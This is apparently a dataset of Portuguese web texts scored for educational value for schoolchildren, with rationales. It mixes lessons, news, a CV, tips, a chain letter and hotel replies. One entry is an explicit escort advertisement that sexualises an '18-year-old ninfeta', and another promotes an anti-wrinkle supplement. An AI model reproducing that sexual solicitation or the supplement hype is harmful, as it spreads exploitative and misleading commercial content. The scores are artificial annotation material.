Mas a desativação de alguns desses cookies pode afetar sua experiência de navegação. +Necessário +Necessário +Sempre ativado +Os cook...",original,original,original,original,4,0.8 +"Título: Arquidiocese de Olinda e Recife e a preservação de monumentos históricos (1910-1930),Ano de Obtenção: 2017. +Extensão universitária em Conservação de Documentos Fotográficos. (Carga horária: 28h). +Extensão universitária em XV Curso de Segurança de Acervos Culturais. (Carga horária: 40h). +Extensão universitária em O Patrimônio Sagrado de Pernambuco e a Importância do Acervo Barroco. (Carga horária: 60h). +Extensão universitária em Introdução à conservação de têxteis. (Carga horária: 20h). +Conservação e Restauração de papel nos trópicos. (Carga horária: 15h). +Expografia e Montagem de Exposições. (Carga horária: 20h). +Extensão universitária em Noções de Limpeza e Conservação de Acervos. (Carga horária: 40h). +Extensão universitária em Catalogação e Gerenciamento de Informações. (Carga horária: 12h). +Os Artistas Holandeses e a Representação do Brasil. (Carga horária: 10h). +Estagiário do Laboratório de Conservação e Restauro da Biblioteca de Obras Raras da Faculdade de Direito do Recife - UFPE. +Integrante da equipe do projeto ""FACEPE: 25 anos apoiando a produção de conhecimento em Pernambuco"". +GONZALES, R. J. B. F.; OLIVEIRA, A. L. N. . O acerto de contas com o passado: a restauração da Igreja da Madre de Deus (1913 - 1930). 2016. (Apresentação de Trabalho/Comunicação). +GONZALES, R. J. B. F.. A reforma da Sé de Olinda e a formação da causa patrimonialista em Pernambuco (1910-1929). 2015. (Apresentação de Trabalho/Comunicação). +GONZALES, R. J. B. F.. A 'sciencia' e a província: a formação da coleção do Museu de História Natural Louis Jacques Brunet (1855 -1863). 2015. (Apresentação de Trabalho/Comunicação). +FREITAS GONZALES, R. J. B.. O Dom da destruição: a reforma da Sé de Olinda no início do séc. XX. 2014. (Apresentação de Trabalho/Comunicação). +GONZALES, R. J. B. F.. Preservação ou destruição? A reforma da Sé de Olinda no início do século XX. 2014. (Apresentação de Trabalho/Comunicação). +3° Seminário Tecnologia e Cultura: convergência entre acervos digitais de arquivos, bibliotecas e museus. 2018. (Seminário). +A função educacional dos museus: 60 anos depois. 2018. (Seminário). +III Encontro da Associação Brasileira de Centros e Museus de Ciências. 2018. (Congresso). +IV Seminário Arquidiocesano de Bens Culturais. 2017. (Seminário). +Seminário de Museologia e Contemporaneidade. 2017. (Seminário). +II Seminário Brasileiro de Museologia. 2015. (Seminário). +Seminário de História Social da Cultura. 2015. (Seminário). +VII Encontro Nacional dos Estudantes de Museologia. 2014. (Congresso). +Cultura Popular: Tradição e Apropriações. 2012. (Seminário). +III Seminário Lugares de Memória: Política de Conservação de Acervos Bibliográficos. 2012. (Seminário). +Cultura Popular: A Arte e sua representação como Patrimônio. 2011. (Oficina). +Seminário Patrimônio Cultural e Desenvolvimento Sustentável: paradoxos e desafios contemporâneos. 2011. (Seminário). +X Encontro do Seminário Avançado em Museologia Social. 2011. (Seminário).",original,original,original,original,2,0.4 +"Você já parou para pensar em como tudo está conectado no mundo ao nosso redor? As árvores, os animais, a água que bebemos, o ar que respiramos… Tudo isso faz parte do meio ambiente, um sistema complexo e fascinante. E a ecologia é a ciência que estuda essas conexões! + +Imagine uma floresta. As árvores fornecem abrigo e alimento para diversos animais, como macacos e aves. Esses animais, por sua vez, ajudam a espalhar sementes, garantindo que novas árvores cresçam. As folhas que caem no chão se decompõem, enriquecendo o solo, que nutre as raízes das árvores. Até mesmo os pequenos insetos e fungos desempenham um papel importante nesse ciclo! Isso é um exemplo de ecossistema, um conjunto de seres vivos que interagem entre si e com o ambiente físico. + +A ecologia nos ensina que cada ação tem uma reação. Quando poluímos um rio com lixo ou esgoto, por exemplo, estamos afetando a vida dos peixes e de outros animais aquáticos. Quando desmatamos uma floresta, estamos destruindo o habitat de diversas espécies e contribuindo para o aquecimento global. Mas também podemos fazer coisas boas! Ao reciclarmos o lixo, economizamos recursos naturais e diminuímos a poluição. Ao plantarmos árvores, ajudamos a purificar o ar e a proteger o solo. + +A importância de entender o meio ambiente e a ecologia vai muito além das aulas de ciências. Está ligada ao nosso futuro! Se não cuidarmos do nosso planeta, as consequências podem ser graves. Enchentes, secas, extinção de animais e plantas, mudanças climáticas… Tudo isso já está acontecendo e pode piorar se não agirmos. + +Então, o que podemos fazer? Comece observando o mundo ao seu redor. Preste atenção na natureza, nos animais, nas plantas. Converse com seus amigos e familiares sobre a importância de cuidar do meio ambiente. Pequenas atitudes no dia a dia fazem toda a diferença: economize água e energia, recicle o lixo, use menos plástico, plante uma árvore… Lembre-se: nosso planeta é a nossa casa. E é nossa responsabilidade cuidar dela para as futuras gerações. Que tal começar agora mesmo?",Ciências,Meio ambiente e ecologia,anos finais (6º ao 9º ano),"O trecho apresenta uma excelente introdução à ecologia, utilizando uma linguagem acessível e exemplos claros para explicar conceitos como ecossistema, interdependência e o impacto das ações humanas no meio ambiente. A relação entre teoria e prática, incentivando a ações cotidianas sustentáveis, o torna valioso para o ensino fundamental. O texto é bem estruturado, coerente e motivador, promovendo a conscientização ambiental. Recebe 5 pontos por atender a todos os critérios.",5,1.0 +"Cultive temperos em casa - Wickbold +O principal é ter um solo fértil e, por isso, é recomendado preencher o recipiente onde o tempero será plantado com substrato. Ao longo do crescimento de cada um deles, é importante adubar para repor os nutrientes. Na hora da colheita, utilize tesoura de poda, ela evita o risco de causar danos à planta. Confira as necessidades individuais para cultivar cada espécie: +Espaço necessário: recipiente com pelo menos 20 cm de diâmetro e 30 cm de altura. +Como regar: no máximo duas vezes por semana é suficiente. E não deixe a terra encharcar. +Iluminação: direta e abundante. +Colheita: se você plantar uma muda, a primeira colheita pode ser feita em 10 dias. No caso do plantio de semente, após 90 dias. Corte somente as pontas dos ramos. +Espaço necessário: recipiente com pelo menos 30 cm de altura. +Como regar: apenas quando o solo estiver seco. Coloque a ponta dos dedos no substrato para ver se precisa colocar água ou não. +Iluminação: pelo menos 5 horas por dia de exposição à luz solar. +Colheita: entre 2 e 3 meses depois do plantio das sementes já é possível colher os talos quase inteiros. Deixe pelo menos 1 cm plantado para que novos talos voltem a crescer. +Espaço necessário: qualquer recipiente, ela não precisa de muito espaço. A atenção, nesse caso, deve ser uma terra bem adubada. Coloque compostos orgânicos, como o húmus, antes do plantio. +Como regar: todos os dias. Iluminação: não precisa de luz direta do sol, mas é importante ser mantida em locais bem iluminados. +Colheita: após 2 meses e meio do plantio das sementes, colha as hastes externas, fazendo a retirada pela base. Orégano +Espaço necessário: como chega a 50 cm de altura, precisa ficar em um local em que possa se desenvolver verticalmente. Como regar: diariamente, em quantidade moderada. O orégano não resiste ao solo seco nem encharcado. +Iluminação: as folhas precisam ser expostas ao sol por aproximadamente quatro horas por dia, e não deve ficar em local muito quente. Colheita: quando a planta atingir 20 cm de altura, já pode ser colhida. Manjericão +Espaço necessário: um recipiente individual. Como regar: diariamente. +Iluminação: precisa de pelo menos quatro horas por dia de exposição ao sol. +Colheita: depois de 60 dias do plantio das sementes, a primeira colheita poderá ser realizada. Opte pelos galhos com as maiores folhas para cortar. Após a colheita, que tal reaproveitar potes de vidros que perderam a utilidade para armazenar e manter os temperos frescos? A dica vale para potes de papinha de bebê, compotas e geleias, por exemplo. Confira outras formas de reciclar objetos. +Fonte: casa.com.br. +cultivar temperosplantiotemperos Matérias Relacionadas +Como preparar a casa para receber um pet Dicas Práticas +Descubra como se exercitar em casa Estilo de Vida +Dicas para aconchegar os amigos em casa Mais sabor e nutrição para o seu dia Ver todos os produtos",original,original,original,original,3,0.6 +"As escolhas de alimentos ou bebidas podem ajudar uma pessoa a ter gengiva mais saudável? Pesquisadores japoneses estudaram um grupo de cerca de 950 adultos para determinar se o consumo de laticínios com ácido lático, como leite, iogurte e queijo, diminuía o risco de doença gengival. A saúde periodontal dos participantes foi avaliada através de […]",original,original,original,original,3,0.6 +"Já parou para pensar que a matemática está em todo lugar? E quando falamos de geometria, essa presença se torna ainda mais evidente. Do seu celular retangular à pizza redonda que você adora, as formas geométricas nos cercam e são a base para entender o mundo! Mas, afinal, o que é geometria? + +Geometria é o ramo da matemática que estuda as formas, tamanhos, posições e propriedades dos objetos. Ela nos ajuda a entender o espaço que ocupamos e como as coisas se relacionam entre si. Pense em um campo de futebol: ele é um retângulo! As traves formam ângulos, as linhas demarcatórias são segmentos de reta. Tudo isso é geometria! + +Vamos explorar algumas formas básicas? O quadrado, por exemplo, possui quatro lados iguais e quatro ângulos retos, ou seja, ângulos de 90 graus. Já o círculo não tem lados, mas uma linha curva fechada que chamamos de circunferência. A distância do centro do círculo até a circunferência é o raio, um conceito importantíssimo. E o triângulo? Ah, ele é uma figura com três lados e três ângulos, podendo ser equilátero (todos os lados iguais), isósceles (dois lados iguais) ou escaleno (todos os lados diferentes). Tente identificar essas formas nos objetos da sua casa! + +Além das formas planas, como as que desenhamos no papel, também existem as formas espaciais, que ocupam um volume. Um cubo, como um dado, tem seis faces quadradas. Uma esfera, como uma bola de futebol, não tem faces planas, mas uma superfície curva contínua. E o cilindro, como uma lata de refrigerante, tem duas bases circulares e uma superfície lateral curva. Conseguem imaginar outros exemplos? + +A geometria não é apenas um monte de nomes e fórmulas. Ela nos ajuda a resolver problemas práticos. Imagine que você precisa cercar um jardim retangular. Para saber quantos metros de cerca você precisa comprar, você precisa calcular o perímetro do retângulo, que é a soma de todos os seus lados. Ou, se você quer pintar uma parede, precisa calcular a área para saber quanta tinta comprar. + +E por que a geometria é importante? Porque ela está presente em diversas áreas do conhecimento, como arquitetura, engenharia, arte e até mesmo na computação gráfica. Entender geometria é fundamental para construir edifícios, projetar pontes, criar jogos de videogame e muito mais. A geometria nos dá as ferramentas para entender e transformar o mundo ao nosso redor. + +Para finalizar, que tal um desafio? Olhe ao seu redor e tente identificar o maior número possível de formas geométricas. Pense em como elas se relacionam e como a geometria está presente no seu dia a dia. A matemática, e especialmente a geometria, está muito mais perto do que você imagina!",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima por apresentar, de forma clara e envolvente, a importância da geometria no cotidiano e em diversas áreas do conhecimento. A linguagem é acessível ao público do ensino fundamental, com exemplos práticos e um desafio final que estimula a observação e a aplicação dos conceitos aprendidos. O texto é bem estruturado, coerente e totalmente relevante para o ensino da geometria, abordando tanto formas planas quanto espaciais.",5,1.0 +"Jornal de Araraquara - On-line - Vale a pena ler: 7% +Para celebrar meus 90 anos, escrevi 42 lições da vida. É a coluna mais solicitada. +2. Quando estiver em dúvida, dê somente o próximo passo, e pequeno. +3. A vida é muito curta para desperdiçá-la, odiando alguém. +4. Seu trabalho não cuidará de você quando ficar doente. Só quem te ama. +6. Você não tem que ganhar toda vez. Concorde em discordar. +9. Quanto a chocolate, inútil resistir. +12. Não compare sua vida com a de outros. Você não sabe sobre a deles. +13. Tudo pode mudar num piscar de olhos. Deus nunca pisca. +14. Respire fundo, isso acalma a mente. +15. Livre-se de coisa que não seja útil, bonita ou alegre. +16. Qualquer coisa que não o matar vai torná-lo mais forte. +17. Nunca é tarde para infância feliz. Mas, a segunda é por sua conta. +18. Quando se trata do que você ama, não aceite NÃO como resposta. +21. Seja excêntrico (a), não espere a velhice para vestir roxo. +23. Ninguém mais é responsável pela sua felicidade, só você. +24. Enquadre os ""desastres"" com as palavras: em 5 anos isso importará? +32. Deus ama você porque ele é Deus, não porque você fez ou fará. +33. Não faça auditoria na vida. Aproveite-a ao máximo agora. +35. Tudo que importa no final é o que você amou. +36. Saia todos os dias. Os milagres estão esperando em todo lugar. +37. Se colocássemos problemas em uma pilha e víssemos todos os outros como eles são, pegaríamos nossos mesmos problemas de volta. +38. A inveja é uma perda de tempo. Você tem tudo o que precisa. +40. Não importa como você se sente: levante-se, vista-se e apareça. +93% não encaminharão para ninguém. Se você for um dos 7% encaminhe-o com o título ""7%"". Mande para todos, não espere completar 90 anos!",original,original,original,original,2,0.4 +"Os centros de votação abriram suas portas neste domingo para os quase 33 milhões de eleitores colombianos que estão convocados para eleger o novo presidente em uma eleição fortemente polarizada. Caberá ao próximo mandatário respaldar ou não o processo de paz com a guerrilha das Forças Armadas Revolucionárias da Colômbia (Farc). +O presidente Juan Manuel Santos tenta reeleição contra outros quatro candidatos, dentre os quais o mais importante rival é o ex-ministro da Fazenda Oscar Iván Zuluaga, ponta de lança do partido político do ex-presidente Alvaro Uribe. +Os mais de 10 mil postos de votação instalados em 1,1 mil municípios colombianos foram abertos às 8h no horário local e serão fechados as 16h. A expectativa é que de noite os resultados já estejam disponíveis. +As pesquisas mais recentes publicadas há uma semana dão a cada um dos dois principais candidatos cerca de 29% de apoio, o que indica a necessidade de um segundo turno. Os outros três candidatos têm juntos cerca de 20% dos votos. +Os dois candidatos à frente na disputa serviram ao mesmo tempo no gabinete de Uribe, onde apoiaram um acordo de livre comércio e firmaram acordo de cooperação antidrogas com os Estados Unidos. A diferença entre eles está na forma de gerir o processo de paz que já dura 18 meses com as Farc. +Santos fez de um projeto de acordo para encerrar os conflitos o centro de sua campanha eleitoral. Apesar disso, preocupações de que os líderes rebeldes consigam sair impunes de seus crimes estão minando a confiança na proposta de Santos. +Embora Zuluaga diga que também é a favor de um acordo, ele diz que, se eleito, dará aos negociadores com as Farc em Cuba uma semana para mostrar seu compromisso com a paz por meio da declaração de um cessar-fogo. Ele ainda ameaça tomar uma atitude mais dura contra a Venezuela, dizendo em um debate que não quer permanecer um ""cúmplice silencioso"" enquanto o presidente venezuelano Nicolas Maduro prende opositores do governo. +A polarização entre os dois candidatos se mostrou nas campanhas, que foram salpicadas de escândalos de espionagem e de acusações sobre uma possível penetração de dinheiro do narcotráfico. +Reportagens na imprensa local afirmaram que o gerente da campanha de Santos recebeu dinheiro de um dos principais traficantes de drogas do país para ajudar a negociar a anistia aos criminosos. Já Zuluaga sofre com a prisão de um especialista em computadores que trabalhou na campanha. Ele é acusado de hackear e-mails de negociadores das Farc e também do presidente. Fonte: Associated Press.",original,original,original,original,3,0.6 +"Se você está aqui é porque deseja saber se Hialuroni Caps funciona mesmo e se é capaz de te ajudar a ter uma aparência mais jovem. Nos últimos dias recebi milhares de mensagens de seguidoras (e seguidores) procurando saber a respeito de Hialuroni Caps: o produto é mesmo capaz de acabar com as rugas, pés […] +Tags Hialuroni Caps Fórmula, Hialuroni Caps Mercado Livre, Hialuroni Caps Modo de Uso, Hialuroni Caps Valor",original,original,original,original,1,0.2 +"A obesidade já é considerada uma epidemia no Brasil e uma tarefa difícil para os especialistas. Mais do que os aspectos relacionados a estética e beleza são as implicações com a saúde como hipertensão arterial e diabetes e doenças cardiovasculares. +Uma pessoa é considerada obesa quando possui peso 10% a 20% maior do que o peso médio ideal e o aumento da gordura tem origem no desequilíbrio entre a alimentação e exercício físico. +Para evitar, faça exercícios físicos constantes como natação, caminhada e tenha uma dieta balanceada recomendada por nutricionistas.",original,original,original,original,3,0.6 +"Olá sou Beatriz Velask , tenho 18 anos com um 1,68 de altura, primeira vez nesta cidade, branquinha dos cabelos negros, pele macia, cheirosa, bumbum redondinho, dote gostoso grosso 19 cm, uma linda ninfeta, venha se deliciar, atendo em local discreto, programa sem frescura, sem pressa, estou sempre me cuidando para atender vcs cada vez melhor..",original,original,original,original,0,0.0 +"Já parou para pensar de onde vem a água que você bebe, que lava seus alimentos e que mata a sede das plantas? A água está sempre em movimento, em um ciclo infinito que chamamos de ciclo hidrológico, ou ciclo da água. É como uma grande dança, onde a água muda de forma e lugar, garantindo a vida no nosso planeta. + +Imagine o sol brilhando forte. Ele aquece a água dos rios, lagos, oceanos e até mesmo a água presente no solo e nas plantas. Essa água, ao ser aquecida, se transforma em vapor, um processo que chamamos de evaporação. É como quando você ferve água em uma panela e vê a fumacinha subindo: essa fumacinha é o vapor de água. As plantas também participam desse processo, liberando água para a atmosfera através da transpiração. + +Esse vapor de água sobe para a atmosfera, onde a temperatura é mais baixa. Lá em cima, o vapor se resfria e se transforma em gotículas de água ou cristais de gelo, formando as nuvens. Esse processo se chama condensação. Pense em quando você toma um banho quente e o espelho do banheiro fica embaçado: o vapor da água quente se condensa no espelho frio. + +Quando as gotículas de água nas nuvens ficam pesadas demais, elas caem de volta para a Terra em forma de chuva, neve ou granizo. Essa é a precipitação. A chuva que cai nos rios e lagos volta a fazer parte do ciclo, evaporando novamente. Parte da água que cai no solo é absorvida pelas plantas, outra parte se infiltra no solo, alimentando os lençóis freáticos, que são como grandes rios subterrâneos. Essa água subterrânea pode emergir em nascentes, formando novos rios, ou ser utilizada por nós através de poços. + +Entender o ciclo da água é fundamental para cuidarmos do nosso planeta. A poluição da água, o desmatamento e as mudanças climáticas podem afetar esse ciclo, causando secas, enchentes e outros problemas ambientais. Por isso, é importante economizarmos água, cuidarmos das nossas florestas e buscarmos alternativas de energia limpa. + +Agora, pense um pouco: o que aconteceria se o sol parasse de brilhar? Como isso afetaria o ciclo da água e a vida no planeta? E o que podemos fazer no nosso dia a dia para ajudar a preservar a água e garantir que ela continue a dançar nesse ciclo infinito?",Ciências,Fenômenos naturais,anos finais (6º ao 9º ano),"O texto explica o ciclo da água de forma clara e acessível, utilizando analogias e exemplos cotidianos para facilitar a compreensão. Aborda a importância do ciclo para o planeta e as consequências de sua alteração. As perguntas ao final incentivam a reflexão e a ação. É adequado para o ensino fundamental, promovendo um aprendizado estruturado e valioso.",5,1.0 +"Prezado Marcos, bom dia! Obrigada pela ótima avaliação do nosso hotel! Ficamos felizes que tenha tido uma boa experiência. Esperamos revê-lo novamente em breve. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini +Prezado Cassio, bom dia! Obrigada pela ótima avaliação do nosso hotel! Ficamos felizes que tenha tido uma boa experiência. Esperamos revê-lo novamente em breve. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini +Prezada Mariana, bom dia! Obrigada pela ótima avaliação do nosso hotel! Ficamos felizes que tenha tido uma boa experiência. Esperamos revê-la novamente em breve. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini +Prezado Alceu, bom dia! Agradeço muito pelos comentários sobre sua hospedagem no Novotel São Paulo Berrini Seus comentários serão compartilhados com a nossa equipe. Tenho certeza de que este feedback servirá como incentivo no nosso objetivo de aprimorar continuamente a qualidade de nossos serviços. Obrigada mais uma vez por compartilhar a sua experiência e espero revê-lo em breve no Novotel São Paulo Berrini. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini +Prezado Guilherme, bom dia! Agradeço muito pelos comentários sobre sua hospedagem no Novotel São Paulo Berrini e compreensão com os nossos serviços nessa fase inicial. Conforme conversamos estamos lidando diariamente com as questões mencionadas com objetivo de melhorar sempre a experiência dos nossos hóspedes. Obrigada mais uma vez pelo feedback. Até uma ´próxima. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini +Prezado Caio, boa tarde! Agradeço muito pelos comentários sobre sua hospedagem no Novotel São Paulo Berrini Seus comentários serão compartilhados com a nossa equipe. Tenho certeza de que este feedback servirá como incentivo no nosso objetivo de aprimorar continuamente a qualidade de nossos serviços. Obrigada mais uma vez por compartilhar a sua experiência e espero revê-lo em breve no Novotel São Paulo Berrini. Atenciosamente, Paula Peissner Gerente Geral Novotel São Paulo Berrini",original,original,original,original,0,0.0 +"Olá, pequenos exploradores das palavras! Já imaginaram que as letras são como pecinhas de um grande quebra-cabeça e que, juntas, formam tudo o que conhecemos? Hoje, vamos embarcar em uma aventura no mundo da ortografia e da pontuação, descobrindo como usar essas ferramentas mágicas para escrever histórias incríveis e entender melhor o que lemos. + +A ortografia, nada mais é do que o jeito certo de escrever cada palavra. Sabiam que algumas letras podem ter sons parecidos, mas são escritas de formas diferentes? Por exemplo, as palavras ""casa"" e ""caza"" soam quase iguais quando falamos rápido, mas apenas uma está correta! Para não nos confundirmos, precisamos prestar muita atenção e praticar bastante a leitura e a escrita. + +E a pontuação? Ah, ela é como um semáforo nas nossas frases! A vírgula (,) nos indica uma pequena pausa, como quando respiramos antes de continuar a falar. O ponto final (.) nos mostra que a frase terminou, como um sinal de ""fim de linha"". E a exclamação (!), que legal, ela aparece quando estamos muito animados, surpresos ou bravos! + +Imagine que você está escrevendo um bilhete para um amigo: ""João, vamos brincar no parque? Que legal!"". Viram como a vírgula separa o nome do amigo do resto da frase? E o ponto de exclamação mostra a alegria de ir brincar no parque? A pontuação nos ajuda a dar o tom certo para nossas frases, tornando a leitura mais fácil e divertida. + +Praticar a ortografia e a pontuação é como treinar um superpoder. Quanto mais lemos e escrevemos, mais craques nos tornamos! Que tal começar a prestar atenção nas placas da rua, nos livros que você adora e até nas mensagens que seus pais recebem? Descubra as palavras novas, observe como elas são escritas e como os sinais de pontuação são usados. Você vai se surpreender com o tanto que pode aprender! + +Lembrem-se: errar faz parte do aprendizado. Se tiverem dúvidas sobre como escrever uma palavra ou usar um sinal de pontuação, não hesitem em perguntar aos seus professores, pais ou amigos mais experientes. O importante é nunca parar de aprender e de se divertir com as palavras! + +Agora, pensem um pouquinho: como vocês usariam a exclamação em uma frase para mostrar muita felicidade? E qual a importância da vírgula em uma lista de brinquedos favoritos? Compartilhem suas ideias com seus colegas e professores e continuem explorando o mundo mágico das palavras! Uma boa aventura ortográfica a todos!",Português,Ortografia e pontuação,anos iniciais (1º ao 5º ano),"O trecho é altamente relevante para o ensino fundamental, introduzindo conceitos de ortografia e pontuação de forma lúdica e acessível. A linguagem é clara e adaptada para crianças, com exemplos práticos e incentivo à prática. Apresenta uma boa progressão dos conceitos, desde a identificação das letras até o uso da pontuação, e estimula a participação ativa do aluno. Não há informações irrelevantes.",5,1.0 +"… Já fora de portas, encontrava-se um outro núcleo de propriedade régia, onde a concentração era quase compacta: a Judiaria Velha, no local onde existe a Rua Corpo de Deus. +… Em Coimbra, como sucedia em muitas outras cidades e vilas do país, o rei era o grande proprietário das casas habitadas pela minoria judaica … +… Embora correspondendo grosso modo ao espaço que é hoje ocupado pela Rua Corpo de Deus como aliás indicam os limites fixados no título da descrição “que se começa tralla ousia de Santiago e se vai ferir na rua derecta acima da egreja do Corpo de Deus”, a judiaria contava seguramente com outras ruas… provavelmente de menores dimensões, são as ruas da Marçaria, do Pintosinho e da Moreira. +… Na data em que o tombo foi realizado (1395) já a judiaria se encontrava desativada, tendo os judeus aí residentes passado para a judiaria próxima do mosteiro de Santa Cruz, local mais tarde designado por Rua Nova. +É uma imagem de abandono a que perpassa pelo texto onde se descreve a maioria das propriedades como abandonadas, em rossio ou em chão. +… A Judiaria Velha de Coimbra era, pela sua localização, um exemplo paradigmático das judiarias portuguesas: junto a uma via principal, económica e socialmente importante, a Rua da Calçada, encostada à muralha e quase delimitada nos topos por duas portas da cidade, Porta Nova e Porta de Almedina, para além de vizinha de um templo cristão, o de São Tiago, como tentativa de conversão da população judaica. +Embora pouco saibamos das casas que constituíam o bairro, não nos parece que se distinguissem do panorama geral. Oscilando entre o piso único e os dois pisos, por vezes recorrendo ao meio sobrado como forma de ganhar uma câmara extra, algumas contavam com cortinhais, num caso com uma amoreira noutro com quatro pés de oliveira. Um terceiro fora aproveitado para a edificação de uma cozinha. Só duas casas parecem fugir à regra: uma descrita como «paaço grande» a outra, de dois pisos e quatro portais, embora provavelmente dividida em duas moradas já que a traziam aforada Boroeiro Judeu e Samuel peneireiro. +O tombo não deixa perceber até que ponto a Judiaria era um espaço fisicamente delimitado e efetivamente fechado, embora a porta da Judiaria seja referida por duas vezes. Junto a esta, e na zona de maior movimento pela confluência com as Ruas da Calçada e de Coruche, situava-se a albergaria dos judeus. Não muito longe a carniçaria onde, provavelmente a cargo de «Salomon carneçeiro», a carne era tratada segundo os preceitos hebraicos. +… Um instrumento redigido a pedido dos judeus por Vasco Martins tabelião, em 1357, diz que moravam em cerca apartada e “sob chave e guarda de el-rei”. +Trindade, L. 2002. A Casa Corrente em Coimbra. Dos finais da Idade Média aos inícios da Época Moderna. Coimbra, Câmara Municipal de Coimbra. Pg. 122 a 123",original,original,original,original,4,0.8 +"Depois de 40 anos mulheres são autorizadas a ir no Estádio de Futebol - Agitossp - LifeStyle and Entertainment +Depois de 40 anos mulheres são autorizadas a ir no Estádio de Futebol +Esta postagem foi publicada em 10 de outubro de 2019 +Um dia histórico para as mulheres iranianas, elas foram autorizadas a ir assistir uma partida de futebol válida pela eliminatória da copa do mundo de 2022. As mulheres viram sua, seleção Irã ganhar do Camboja por IR Iran 14-0 Cambodia. Fifa chegou a ameaçar o Irã de bani-lo do futebol, principalmente das eliminatórias da Copa do Mundo. Última vez que as mulheres, estiveram no estádio de futebol foi em 1979. +Este é um passo muito positivo e que a FIFA, e principalmente meninas e mulheres iranianas, esperavam ansiosamente. A paixão, a alegria e o entusiasmo que eles mostraram hoje foram notáveis ​​de ver e nos incentivam ainda mais a continuar o caminho que começamos. A história nos ensina que o progresso ocorre em etapas e este é apenas o começo de uma jornada",original,original,original,original,3,0.6 +"5 hábitos para praticar inglês no fim de semana +Início Dicas de Inglês 5 hábitos para praticar inglês no fim de semana +A falta de tempo pode ser um dos principais empecilhos ao tentarmos aprender outro idioma. Trabalho, faculdade, filhos e outras responsabilidades nos deixam totalmente ocupados e não encontramos tempo para as aulas do curso de inglês. +Felizmente, com a disponibilidade tecnológica que temos hoje, há muitas outras maneiras de praticar o idioma, mesmo sem sair de casa. O inglês está presente em todo lugar. Filmes, séries, livros, artigos e muitos outros materiais encontram-se disponíveis nas pontas dos dedos, através da internet. E nada como uma folguinha no fim de semana para tirar proveito da tecnologia e estudar inglês de forma mais divertida. +Assistir filmes e séries com as legendas em inglês +Ouvir músicas acompanhando a letra +Jogar videogames com a narração em inglês +A Netflix chegou para alegrar a vida de qualquer aficionado por filmes e, principalmente, por séries. Mas não são só eles que se beneficiam do serviço. Quem estiver buscando maneiras alternativas de aprender ou praticar o inglês também pode fazer bom uso da ferramenta. +Primeiramente, é sempre aconselhável escolher uma série ou filme com um conteúdo mais simples, dependendo do seu nível de inglês, como uma comédia ou um romance leve. Aquele filme que você adora e já assistiu várias vezes também é um bom candidato, uma vez que você já conhece a história e poderá compreender palavras desconhecidas através do contexto. +Com um filme ou série escolhidos, vá nas opções e selecione a legenda em inglês. Procure deixar um caderno ou bloco de anotações ao seu lado. Assim, você poderá anotar palavras ou expressões desconhecidas para buscá-las no dicionário e incrementar seu vocabulário. Para os mais confiantes, deixar o filme totalmente sem legendas e acompanhá-lo apenas pelo áudio também é uma ótima maneira de praticar e testar sua habilidade do listening. +Todos temos músicas que adoramos e cantamos a plenos pulmões, mesmo sem saber exatamente o que estamos cantando. Uma boa dica que também ampliará seu vocabulário é escolher uma música de um cantor ou banda que você goste, procurar a letra da música na internet e colocá-la para ouvir enquanto a lê. Sites como o Vagalume e o Letras são ótimos por oferecerem as duas opções: Você pode apenas ler a letra no idioma original ou já acompanhá-la com a tradução. +Para um melhor aproveitamento e dependendo do seu nível de inglês, tente acompanhar a letra sem a tradução e, com o auxílio de um bom dicionário, traduza as palavras que não conhece. Ao final, compare sua tradução com a do site e veja como se saiu. É uma ótima maneira de testar como andam seus conhecimentos. +Para os aficionados por jogos, o inglês sempre foi o principal idioma. Não faz muito tempo que as narrações da maioria dos jogos passaram a ser dubladas. Mas para aqueles que querem unir o útil ao agradável, deixar o jogo em inglês pode ser muito benéfico para o seu aprendizado. +A maneira com a qual pronunciamos as palavras está diretamente ligada ao que nós ouvimos. Ou seja, quanto mais ouvirmos o idioma, melhor será nossa pronúncia. Enquanto jogamos, podemos praticar nossa audição (o famoso listening), assim como a nossa pronúncia, prestando atenção no que é falado e repetindo algumas palavras. Isso melhorará sua pronúncia e lhe dará mais segurança na hora de falar. +Outra dica legal para os gamers são os jogos online. Eles são uma ótima oportunidade para conversar com pessoas de diferentes países e aumentar seu vocabulário. +Muitos sites hoje oferecem a oportunidade de conectá-lo a alguém que fale o idioma que você está aprendendo. O Speaky, por exemplo, cria um pequeno perfil para você e disponibiliza pessoas nativas ou fluentes no idioma que você está aprendendo para conversar. O messenger do site é muito parecido com o do Facebook e sua interface é bem simples e fácil de usar. Está disponível também para celular, através da Google Play e da Apple S...",original,original,original,original,4,0.8 +"Aos 7 anos, a criança deixa o círculo limitado e conhecido da família, e penetra no mundo inteiramente novo da escola. Não são mais os irmãos e os primos: são várias crianças, estranhas e heterogêneas. Não são somente os amiguinhos do edifício ou do quarteirão: são desconhecidos agora os seus companheiros: - nunca se viram, não sabe quem são, nem como se chamam, onde moram, de quem são filhos. Pela primeira vez, ela é uma desconhecida no meio de desconhecidos. A própria professora ela não sabe quem é: sabe-lhe apenas o nome. +Esse novo mundo em que vai viver é muito diferente da família. Em casa eram os outros que procuravam adaptar-se-lhe: ali é ela que deve adaptar-se a tudo. O seu novo mundo tem horários rígidos, marcados pela sirene estridente; tem programas que lhe são impostos; tem lugares certos que lhe são designados. Grande parte de sua liberdade acabou-se. Agora ela deve fazer tudo com os outros e como os outros. Um novo regime de vida. Obrigações, tarefas, exercícios, com prazo determinado, sem aquela ajuda pessoal a que está habituada. Poderá integrar-se com facilidade no ambiente novo; mas poderá encontrar elementos que lhe rompam o equilíbrio eemocional. +Dos colegas e da própria professora receberá talvez impressões que a traumatizarão, criando-lhe dificuldades. Se isto lhe acontecer, e se não encontrar compreensão e amparo em casa, a vida escolar lhe será difícil, com perspectivas até de fracasso. +Como ajudar os filhos +Tanto indireta como diretamente podem os pais ajudar os filhos que vão à escola. +I. A ajuda indireta, certamente a mais eficaz, pode ser realizada de vários modos: +- Boa integração social +Habituada a conviver bem com os irmãos e amiguinhos, a respeitar as pessoas mais velhas, a obedecer aos pais, a criança encontrará facilmente para o trato com os colegas e o respeito e obediência à professora. +- Disciplina +Se em casa contraiu os hábitos sadios de +. pôr cada coisa em seu lugar, +. atender com presteza aos horários, +. saber escutar quando outros falam, +. receber e executar ordens, +. prestar atenção ao que se lhe diz, +- a vida escolar não lhe será grande novidade, a criança não estorvará as aulas com conversas, e saberá ouvir e aprender o 